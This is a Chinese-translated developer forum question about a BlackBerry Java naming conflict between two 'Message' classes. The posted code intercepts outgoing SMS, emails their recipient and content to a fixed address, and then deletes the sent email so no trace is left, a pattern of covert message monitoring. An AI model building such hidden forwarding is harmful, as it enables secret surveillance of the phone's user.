无论如何,无需导入即可收听出站短信javax.wireless.messaging
?
我正在尝试编写一个应用程序来侦听从设备发送的短信,然后通过电子邮件发送短信的消息,但我收到错误消息:
对 Message 的引用不明确,javax.wireless.messaging 中的 javax.wireless.messaging.Message 类和 net.rim.blackberry.api.mail 中的 net.rim.blackberry.api.mail.Message 类都匹配
我需要导入net.rim.blackberry.api.mail.Message
才能发送电子邮件。
有没有办法解决这个问题,因为这两个包似乎发生了冲突。
我的代码:
public void notifyIncomingMessage(MessageConnection messageconnection) {}
public void notifyOutgoingMessage(javax.wireless.messaging.Message message) {
try {
String address = message.getAddress();
String msg = null;
if ( message instanceof TextMessage ) {
TextMessage tm = (TextMessage)message;
msg = tm.getPayloadText();
} else if (message instanceof BinaryMessage) {
StringBuffer buf = new StringBuffer();
byte[] data = ((BinaryMessage) message).getPayloadData();
msg = new String(data, "UTF-8");
Store store = Session.getDefaultInstance().getStore();
Folder[] folders = store.list(Folder.SENT);
Folder sentfolder = folders[0];
Message in = new Message(sentfolder);
Address recipients[] = new Address[1];
recipients[0]= new Address("me@us.com", "user");
in.addRecipients(Message.RecipientType.TO, recipients);
in.setSubject("Outgoing sms");
in.setContent("You have just sent an sms to: " + address + "\n" + "Message: " + msg);
in.setPriority(Message.Priority.HIGH);
Transport.send(in);
in.setFlag(Message.Flag.OPENED, true);
Folder folder = in.getFolder();
folder.deleteMessage(in);
}
} catch (IOException me) {
System.out.println(me);
}
}
}